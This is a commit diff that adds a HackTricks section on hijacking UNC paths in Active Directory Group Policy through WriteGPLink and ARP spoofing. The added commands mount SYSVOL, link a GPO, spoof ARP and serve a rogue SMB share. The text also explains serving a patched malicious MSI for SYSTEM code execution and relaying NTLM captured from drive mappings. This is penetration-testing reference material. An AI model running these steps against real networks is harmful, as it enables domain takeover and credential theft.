Skip to content

Commit b0b210d

Browse files
authored
Merge pull request #2186 from HackTricks-wiki/update_ARP_Around_and_Find_Out__Hijacking_GPO_UNC_Paths_f_20260430_135207
ARP Around and Find Out Hijacking GPO UNC Paths for Code Exe...
2 parents 2c5c666 + a555730 commit b0b210d

1 file changed

Lines changed: 62 additions & 1 deletion

File tree

  • src/windows-hardening/active-directory-methodology/acl-persistence-abuse

src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md

Lines changed: 62 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -261,6 +261,67 @@ The XML configuration file for Users and Groups outlines how these changes are i
261261

262262
Furthermore, additional methods for executing code or maintaining persistence, such as leveraging logon/logoff scripts, modifying registry keys for autoruns, installing software via .msi files, or editing service configurations, can also be considered. These techniques provide various avenues for maintaining access and controlling target systems through the abuse of GPOs.
263263

264+
### WriteGPLink + UNC path hijacking (ARP spoofing)
265+
266+
`WriteGPLink` over an OU/domain lets you modify the target container's `gPLink` attribute and **force an existing GPO to apply** without editing the GPO itself. This becomes interesting when the linked GPO already references remote content over **UNC paths** (`\\HOST\share\...`), because authenticated users can read **SYSVOL** and hunt for reusable policies offline.
267+
268+
High-level workflow:
269+
270+
1. Use BloodHound to identify a principal with `WriteGPLink` over an OU and enumerate computers/users inside that OU.
271+
2. Clone `SYSVOL` read-only and parse GPOs looking for **Software Installation**, **drive mappings** (`Drives.xml`), and **logon/startup scripts** that reference UNC paths.
272+
3. Prefer policies pointing to a **direct hostname** (for example `\\DC02\share\pkg.msi`) instead of DFS/domain-namespace paths, because hostname-based paths are easier to redirect with L2 spoofing.
273+
4. Append the chosen GPO GUID to the target OU's `gPLink` so the victim processes that already-existing policy.
274+
5. On the same broadcast domain, ARP spoof the UNC host and bind its IP locally (`ip addr add <target_ip>/32 dev <iface>`) so the victim's SMB traffic reaches your host.
275+
6. Serve the expected path/filename from an attacker SMB server (for example `smbserver.py`) and wait for normal policy processing.
276+
277+
Example `SYSVOL` collection and GPO correlation:
278+
279+
```bash
280+
mkdir -p /mnt/$DOMAIN/SYSVOL/
281+
mount -t cifs -o username=$USER,password=$PASS,domain=$DOMAIN,ro "//$DC_IP/SYSVOL" "/mnt/$DOMAIN/SYSVOL/"
282+
rsync -av --exclude="PolicyDefinitions" --update /mnt/$DOMAIN/SYSVOL .
283+
python3 parse_sysvol.py software -s <SYSVOL> -b <BloodHound_Folder>
284+
python3 parse_sysvol.py drives -s <SYSVOL> -b <BloodHound_Folder>
285+
python3 parse_sysvol.py scripts -s <SYSVOL> -b <BloodHound_Folder>
286+
```
287+
288+
Link the existing GPO to the target OU:
289+
290+
```bash
291+
python3 link_gpo.py -u <user> -p '<pass>' -d <domain> -dc-ip <dc_ip> \
292+
--gpo-guid '{<gpo-guid>}' --target-ou "OU=<TargetOU>,DC=<domain>,DC=<tld>"
293+
```
294+
295+
#### Software Installation UNC hijack -> SYSTEM
296+
297+
If the linked GPO deploys an MSI from a UNC path, the client will fetch it during **computer startup** and install it as **`NT AUTHORITY\SYSTEM`**. By spoofing the referenced host and serving a malicious MSI under the **same share/path/name**, you can turn `WriteGPLink` into SYSTEM code execution **without modifying SYSVOL**.
298+
299+
Important constraints:
300+
301+
- **Timing matters**: the new link is seen at policy refresh (commonly ~90 minutes), but **Software Installation** usually triggers on **reboot**.
302+
- Windows Installer commonly tracks the deployment using the package **`ProductCode`**. If the product is already installed, deployment may be skipped.
303+
- To avoid installer rejection, patch the rogue MSI so its **`ProductCode`** and **`PackageCode`** match the legitimate package expected by the GPO.
304+
- Old `.aas` advertisement files may remain in `SYSVOL`, so validate that the deployment still looks active before relying on it.
305+
306+
```bash
307+
ip addr add <unc_host_ip>/32 dev <iface>
308+
arpspoof-ng -i <iface> -t <victim1>,<victim2> -s <unc_host_ip>
309+
smbserver.py <share> ./payloads -smb2support --interface-address <unc_host_ip> -debug -ts
310+
```
311+
312+
#### Drive-map UNC hijack -> NTLM capture / WebDAV relay
313+
314+
GPP drive mappings in `Drives.xml` cause users to authenticate to the configured UNC path during logon or reconnection. If you spoof the referenced host, you can capture **NetNTLMv2**. If SMB is deliberately made to fail, Windows may retry over **WebDAV**, sending **NTLM over HTTP**, which is far more flexible for relays to **LDAP(S)**, **AD CS**, or **SMB**.
315+
316+
#### Logon/startup script UNC hijack
317+
318+
The same pattern applies to UNC-hosted scripts discovered in `SYSVOL`:
319+
320+
- **Logon scripts** usually execute in the **user** context.
321+
- **Startup scripts** usually execute in the **computer / SYSTEM** context.
322+
323+
If the script path points to a spoofable hostname, redirect the UNC host and serve replacement script content from the expected location.
324+
264325
## SYSVOL/NETLOGON Logon Script Poisoning
265326

266327
Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
@@ -339,7 +400,7 @@ Notes:
339400
- [BloodyAD – AD attribute/UAC operations from Linux](https://github.com/CravateRouge/bloodyAD)
340401
- [Samba – net rpc (group membership)](https://www.samba.org/)
341402
- [HTB Puppy: AD ACL abuse, KeePassXC Argon2 cracking, and DPAPI decryption to DC admin](https://0xdf.gitlab.io/2025/09/27/htb-puppy.html)
403+
- [TrustedSec - ARP Around and Find Out: Hijacking GPO UNC Paths for Code Execution and NTLM Relay](https://trustedsec.com/blog/arp-around-and-find-out-hijacking-gpo-unc-paths-for-code-execution-and-ntlm-relay)
342404

343405
{{#include ../../../banners/hacktricks-training.md}}
344406

345-

0 commit comments

Comments
 (0)